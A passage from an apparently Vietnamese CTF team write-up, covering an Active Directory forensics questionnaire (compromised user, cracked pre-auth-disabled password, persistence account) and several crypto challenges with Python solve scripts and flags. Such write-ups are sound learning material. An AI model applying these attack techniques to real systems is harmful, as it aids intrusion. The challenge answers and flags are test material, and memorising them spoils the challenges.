class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span>     Title     <span class="hljs-operator">|</span>                                                               Description                                                               <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>
<span class="hljs-operator">|</span> Tangled Heist <span class="hljs-operator">|</span>                          The survivors<span class="hljs-string">' group has meticulously planned the mission '</span>Tangled Heist<span class="hljs-string">' for months.                          |
|               |                                 In the desolate wasteland, what appears to be an abandoned facility is,                                 |
|               |                                             in reality, the headquarters of a rebel faction.                                            |
|               |                              This faction guards valuable data that could be useful in reaching the vault.                              |
|               |            Kaila, acting as an undercover agent, successfully infiltrates the facility using a rebel faction member'</span>s account           <span class="hljs-operator">|</span>
<span class="hljs-operator">|</span>               <span class="hljs-operator">|</span>                                 and gains access to a critical asset containing invaluable information.                                 |
<span class="hljs-operator">|</span>               <span class="hljs-operator">|</span> This data holds the key to both understanding the rebel faction<span class="hljs-string">'s organization and advancing the survivors'</span> mission to reach the vault. |
<span class="hljs-operator">|</span>               <span class="hljs-operator">|</span>                                                     Can you help her with <span class="hljs-built_in">this</span> task?                                                    <span class="hljs-operator">|</span>
<span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">+</span>

[<span class="hljs-number">1</span><span class="hljs-operator">/</span><span class="hljs-number">11</span>] Which <span class="hljs-keyword">is</span> the username of the compromised user used to conduct the attack? (<span class="hljs-keyword">for</span> example: username)
<span class="hljs-operator">&gt;</span> Copper                                                                                                                                                                                         
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">2</span><span class="hljs-operator">/</span><span class="hljs-number">11</span>] What <span class="hljs-keyword">is</span> the Distinguished Name (DN) of the Domain Controller? Don<span class="hljs-string">'t put spaces between commas. (for example: CN=...,CN=...,DC=...,DC=...)                                                 
&gt; CN=SRV195,OU=Domain Controllers,DC=rebcorp,DC=htb                                                                                                                                              
[+] Correct!

[3/11] Which is the Domain managed by the Domain Controller? (for example: corp.domain)                                                                                                          
&gt; rebcorp.htb                                                                                                                                                                                    
[+] Correct!

[4/11] How many failed login attempts are recorded on the user account named '</span>Ranger<span class="hljs-string">'? (for example: 6)                                                                                          
&gt; 14                                                                                                                                                                                             
[+] Correct!

[5/11] Which LDAP query was executed to find all groups? (for example: (object=value))                                                                                                           
&gt; (objectClass=group)                                                                                                                                                                            
[+] Correct!

[6/11] How many non-standard groups exist? (for example: 1)                                                                                                                                      
&gt; 5                                                                                                                                                                                              
[+] Correct!

[7/11] One of the non-standard users is flagged as '</span>disabled<span class="hljs-string">', which is it? (for example: username)                                                                                              
&gt; Radiation                                                                                                                                                                                      
[+] Correct!

[8/11] The attacker targeted one user writing some data inside a specific field. Which is the field name? (for example: field_name)                                                              
&gt; wWWHomePage                                                                                                                                                                                    
[+] Correct!

[9/11] Which is the new value written in it? (for example: value123)                                                                                                                             
&gt; http://rebcorp.htb/qPvAdQ.php                                                                                                                                                                  
[+] Correct!

[10/11] The attacker created a new user for persistence. Which is the username and the assigned group? Don'</span>t put spaces in the answer (<span class="hljs-keyword">for</span> example: username,group)                              
<span class="hljs-operator">&gt;</span> B4ck,Enclave                                                                                                                                                                                   
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-number">11</span><span class="hljs-operator">/</span><span class="hljs-number">11</span>] The attacker obtained an hash <span class="hljs-keyword">for</span> the user <span class="hljs-string">'Hurricane'</span> that has the UF_DONT_REQUIRE_PREAUTH flag set. Which <span class="hljs-keyword">is</span> the correspondent plaintext <span class="hljs-keyword">for</span> that hash?  (<span class="hljs-keyword">for</span> example: plaintext_password)                                                                                                                                                                                              
<span class="hljs-operator">&gt;</span> april18                                                                                                                                                                                        
[<span class="hljs-operator">+</span>] Correct<span class="hljs-operator">!</span>

[<span class="hljs-operator">+</span>] Here <span class="hljs-keyword">is</span> the flag: HTB{1nf0rm4t10n_g4th3r3d_265df1a261c0453c2f5cf070a25a216c}
</code></pre>
<hr />
<h1 id="heading-crypto">Crypto</h1>
<h2 id="heading-exciting-outpost-recon">eXciting Outpost Recon</h2>
<p><strong><em>credit: Minh</em></strong></p>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256

<span class="hljs-keyword">import</span> os

LENGTH = <span class="hljs-number">32</span>


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_data</span>(<span class="hljs-params">data, k</span>):</span>
    data += <span class="hljs-string">b'\x00'</span> * (-len(data) % LENGTH)
    encrypted = <span class="hljs-string">b''</span>

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(data), LENGTH):
        chunk = data[i:i+LENGTH]

        <span class="hljs-keyword">for</span> a, b <span class="hljs-keyword">in</span> zip(chunk, k):
            encrypted += bytes([a ^ b])

        k = sha256(k).digest()

    <span class="hljs-keyword">return</span> encrypted


key = os.urandom(<span class="hljs-number">32</span>)

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'plaintext.txt'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
    plaintext = f.read()

<span class="hljs-keyword">assert</span> plaintext.startswith(<span class="hljs-string">b'Great and Noble Leader of the Tariaki'</span>)       <span class="hljs-comment"># have to make sure we are aptly sycophantic</span>

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'w'</span>) <span class="hljs-keyword">as</span> f:
    enc = encrypt_data(plaintext, key)
    f.write(enc.hex())
</code></pre>
<ul>
<li>output.txt:</li>
</ul>
<pre><code class="lang-py">fd94e649fc4c898297f2acd4cb6661d5b69c5bb51448687f60c7531a97a0e683072bbd92adc5a871e9ab3c188741948e20ef9afe8bcc601555c29fa6b61de710a718571c09e89027413e2d94fd3126300eff106e2e4d0d4f7dc8744827731dc6ee587a982f4599a2dec253743c02b9ae1c3847a810778a20d1dff34a2c69b11c06015a8212d242ef807edbf888f56943065d730a703e27fa3bbb2f1309835469a3e0c8ded7d676ddb663fdb6508db9599018cb4049b00a5ba1690ca205e64ddc29fd74a6969b7dead69a7341ff4f32a3f09c349d92e0b21737f26a85bfa2a10d
</code></pre>
<ul>
<li>Thấy flag được mã hóa bằng hàm enc như sau enc = encrypt_data(plaintext, key) mà key là 32 bytes ngẫu nhiên, ngoài ra ta đã biết một đoạn nhỏ của plaintext</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-built_in">assert</span> plaintext.startswith(b<span class="hljs-string">'Great and Noble Leader of the Tariaki'</span>)
</code></pre>
<p>Đi sâu hơn vào hàm mã hóa mình thấy:</p>
<ul>
<li><p>data += b'\x00' * (-len(data) % LENGTH) plaintext được padding thêm các bytes \x00 cho đến khi độ dài chia hết 32</p>
</li>
<li><p>chunk = data[i:i+LENGTH] sau đó các phần được chia thành các block có độ dài 32 bytes</p>
</li>
<li><p>encrypted += bytes([a ^ b]) các plaintext được mã hóa bằng cách xor các bytes với nhau với key = sha(key)</p>
</li>
</ul>
<pre><code class="lang-solidity">    ciphertext <span class="hljs-operator">=</span> enc_0 <span class="hljs-operator">|</span><span class="hljs-operator">|</span> enc_1 <span class="hljs-operator">|</span><span class="hljs-operator">|</span> ...
</code></pre>
<ul>
<li>Solution</li>
</ul>
<ol>
<li><p>Từ trên mình thấy enc_0 = xor(key, plaintetx) mà plaintext này chỉ là 32 ký tự đầu thôi trong khi ta đã biết tới 40 ký tự đầu của plaintext. Từ đó theo tính chất của phếp xor mình có key_0 = xor(plaintext[:32], ciphertetx[:32])</p>
</li>
<li><p>Khi đã có được key_0 thì ta có thể dễ dàng tìm lại các key_n bằng hàm hash sha_256 và thực hiện tính toán như trên để tìm lại toàn bộ plaintext.</p>
</li>
</ol>
<ul>
<li>Full script:</li>
</ul>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
enc = <span class="hljs-string">"fd94e649fc4c898297f2acd4cb6661d5b69c5bb51448687f60c7531a97a0e683072bbd92adc5a871e9ab3c188741948e20ef9afe8bcc601555c29fa6b61de710a718571c09e89027413e2d94fd3126300eff106e2e4d0d4f7dc8744827731dc6ee587a982f4599a2dec253743c02b9ae1c3847a810778a20d1dff34a2c69b11c06015a8212d242ef807edbf888f56943065d730a703e27fa3bbb2f1309835469a3e0c8ded7d676ddb663fdb6508db9599018cb4049b00a5ba1690ca205e64ddc29fd74a6969b7dead69a7341ff4f32a3f09c349d92e0b21737f26a85bfa2a10d"</span>
enc = bytes.fromhex(enc)    

leak = (<span class="hljs-string">"Great and Noble Leader of the Tariaki"</span>).encode()[:<span class="hljs-number">32</span>]

key = xor(leak, enc[:<span class="hljs-number">32</span>])

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_data</span>(<span class="hljs-params">data, k</span>):</span>
    LENGTH = <span class="hljs-number">32</span>
    plaintext = <span class="hljs-string">b''</span>

    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(data), LENGTH):
        chunk = data[i:i+LENGTH]

        <span class="hljs-keyword">for</span> a, b <span class="hljs-keyword">in</span> zip(chunk, k):
            plaintext += bytes([a ^ b])

        k = sha256(k).digest()

    <span class="hljs-keyword">return</span> plaintext

print(decrypt_data(enc, key))
</code></pre>
<p>Flag: <code>HTB{x0r_n0t_s0_s4f3!}</code></p>
<h2 id="heading-living-with-elegance">Living with Elegance</h2>
<p><strong><em>credit: Giang</em></strong></p>
<ul>
<li>Server.py:</li>
</ul>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> secrets <span class="hljs-keyword">import</span> token_bytes, randbelow
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> bytes_to_long <span class="hljs-keyword">as</span> b2l

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ElegantCryptosystem</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self</span>):</span>
        self.d = <span class="hljs-number">16</span>
        self.n = <span class="hljs-number">256</span>
        self.S = token_bytes(self.d)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">noise_prod</span>(<span class="hljs-params">self</span>):</span>
        <span class="hljs-keyword">return</span> randbelow(<span class="hljs-number">2</span>*self.n//<span class="hljs-number">3</span>) - self.n//<span class="hljs-number">2</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_encryption</span>(<span class="hljs-params">self, bit</span>):</span>
        A = token_bytes(self.d)
        b = self.punc_prod(A, self.S) % self.n
        e = self.noise_prod()
        <span class="hljs-keyword">if</span> bit == <span class="hljs-number">1</span>:
            <span class="hljs-keyword">return</span> A, b + e
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> A, randbelow(self.n)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">punc_prod</span>(<span class="hljs-params">self, x, y</span>):</span>
        <span class="hljs-keyword">return</span> sum(_x * _y <span class="hljs-keyword">for</span> _x, _y <span class="hljs-keyword">in</span> zip(x, y))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    FLAGBIN = bin(b2l(open(<span class="hljs-string">'flag.txt'</span>, <span class="hljs-string">'rb'</span>).read()))[<span class="hljs-number">2</span>:]
    crypto = ElegantCryptosystem()

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        idx = input(<span class="hljs-string">'Specify the index of the bit you want to get an encryption for : '</span>)
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> idx.isnumeric():
            print(<span class="hljs-string">'The index must be an integer.'</span>)
            <span class="hljs-keyword">continue</span>
        idx = int(idx)
        <span class="hljs-keyword">if</span> idx &lt; <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> idx &gt;= len(FLAGBIN):
            print(<span class="hljs-string">f'The index must lie in the interval [0, <span class="hljs-subst">{len(FLAGBIN)<span class="hljs-number">-1</span>}</span>]'</span>)
            <span class="hljs-keyword">continue</span>

        bit = int(FLAGBIN[idx])
        A, b = crypto.get_encryption(bit)
        print(<span class="hljs-string">'Here is your ciphertext: '</span>)
        print(<span class="hljs-string">f'A = <span class="hljs-subst">{b2l(A)}</span>'</span>)
        print(<span class="hljs-string">f'b = <span class="hljs-subst">{b}</span>'</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    main()
</code></pre>
<ul>
<li><p>Hmm, bài này thì nói sao nhỉ. Mình sẽ giải thích sơ qua cách server hoạt động nhé.</p>
</li>
<li><ul>
<li><p>Flag được chuyển sang binary</p>
<p>    *</p>
<p>    * Cái này để xác định len_bin_flag. Nhưng có lẽ không cần thiết lắm. Nhưng mình vẫn tìm được len_bin_flag = 470</p>
<p>    * Khi mình nhập 1 index, server sẽ xác định xem bit ở đó là bit 0 hoặc 1.</p>
<p>    *</p>
<p>    * Đến hàm encrypt thì nếu $bit đó = 1$ thì mình có được 2 giá trị $A,b+e$, còn $bit = 0$ thì chỉ nhận được $A$ thôi.</p>
</li>
</ul>
</li>
<li><p>Thứ mà mình có thể nghĩ được ra ngay là</p>
<p>  <img src="https://hackmd.io/_uploads/rJDuZQDm0.png" alt="image" /></p>
<p>  với hàm này thì $0&lt;b&lt;256$ và $-128&lt;e&lt;42$ thì hên xui giá trị $b+e$ mình nhận được kia sẽ $&lt;0$. Tức là nếu tại giá trị bit đó mà $b+e&lt;0$ thì chắc chắn bit đó bằng 1.</p>
</li>
<li><p>Nghĩ đến đây mình có 2 hướng :-1:</p>
<ul>
<li><p>1 là sẽ brute force 470 bit, mỗi bit tầm 30 lần để xem là có khi nào mình thu được $b+e&lt;0$ không, nếu có thì bit đó = 1 , không thì bit đó = 0.</p>
</li>
<li><p>2 là tìm lại S bằng LLL, hoặc là giải ma trận.</p>
</li>
</ul>
</li>
<li><p>Hmm.... Đến đây thì mình thực sự cấn cấn ở cả 2 cách. Nếu theo cách 1 thì mỗi bit đều gọi đến server 30 lần thì bị time out và server bị treo không tương tác được nữa. Mà xác suất để trong 30 lần đó mà bit = 1 thu được $b+e&lt;0$ cũng hơi hên xui.</p>
</li>
<li><p>Cách 2 nghe có vẻ khoa học hơn nhưng thực ra mình thấy nó còn no hope hơn cách 1. Kể cả coi như là tìm được $S$ đi, thì tìm được $b$, nhưng mình đâu phân biệt được 2 giá trị $b+e$ và $randbelow(n)$ để xác định ở đó là $bit = 1$ hay $bit = 0$</p>
</li>
<li><p>Sau đó mình đi bú script của anh <strong>Quốc</strong> thì thấy anh làm theo cách 1 nhưng trick lỏ:</p>
</li>
<li><p>Full Script:</p>
</li>
</ul>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> math
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *   
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256

HOST = <span class="hljs-string">"94.237.51.188"</span>
PORT = <span class="hljs-number">32328</span>
io = remote(HOST,PORT)

l = <span class="hljs-number">471</span>
flag_bin = [<span class="hljs-string">'0'</span>]*l
payloads = <span class="hljs-string">b''</span>

<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(l):
    payload = <span class="hljs-string">b''</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">30</span>):
        payload += str(j).encode() + <span class="hljs-string">b'\n'</span>
    payloads += payload 

io.recvuntil(<span class="hljs-string">b'Specify the index of the bit you want to get an encryption for : '</span>)
io.sendline(payloads[:<span class="hljs-number">-1</span>])

<span class="hljs-keyword">for</span> index <span class="hljs-keyword">in</span> tqdm(range(l)):
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">30</span>):
        io.recvuntil(<span class="hljs-string">b'b = '</span>)
        b = int(io.recvline().strip().decode())
        <span class="hljs-keyword">if</span> b &lt; <span class="hljs-number">0</span>:
            flag_bin[index] = <span class="hljs-string">'1'</span>


flag = <span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> flag_bin:
    flag += char

print(long_to_bytes(int(flag,<span class="hljs-number">2</span>)))
</code></pre>
<ul>
<li><p><strong>Flag:</strong><code>HTB{di3tributed_error_not_e5ff97267405de047b7842e6fad3a36c}</code></p>
</li>
<li><p>Như mình nói ở trên thì mỗi lần brute mỗi bit 30 lần thì rất dễ bị time out. Nhưng mà khi $payloads = b'0\n0\n0\n...'$ thì không bị. Trick lỏ quá.</p>
</li>
</ul>
<h2 id="heading-bloom-bloom">Bloom Bloom</h2>
<p><strong><em>credit: Giang</em></strong></p>
<ul>
<li>Source:</li>
</ul>
<pre><code class="lang-py"><span class="hljs-keyword">from</span> random <span class="hljs-keyword">import</span> randint, shuffle
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> getPrime
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> secret <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> os

<span class="hljs-keyword">assert</span> sha256(KEY).hexdigest().startswith(<span class="hljs-string">'786f36dd7c9d902f1921629161d9b057'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BBS</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, bits, length</span>):</span>
        self.bits = bits
        self.out_length = length

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">reset_params</span>(<span class="hljs-params">self</span>):</span>
        self.state = randint(<span class="hljs-number">2</span>, <span class="hljs-number">2</span> ** self.bits - <span class="hljs-number">2</span>)
        self.m = getPrime(self.bits//<span class="hljs-number">2</span>) * getPrime(self.bits//<span class="hljs-number">2</span>) * randint(<span class="hljs-number">1</span>, <span class="hljs-number">2</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">extract_bit</span>(<span class="hljs-params">self</span>):</span>
        self.state = pow(self.state, <span class="hljs-number">2</span>, self.m)
        <span class="hljs-keyword">return</span> str(self.state % <span class="hljs-number">2</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gen_output</span>(<span class="hljs-params">self</span>):</span>
        self.reset_params()
        out = <span class="hljs-string">''</span>
        <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(self.out_length):
            out += self.extract_bit()
        <span class="hljs-keyword">return</span> out

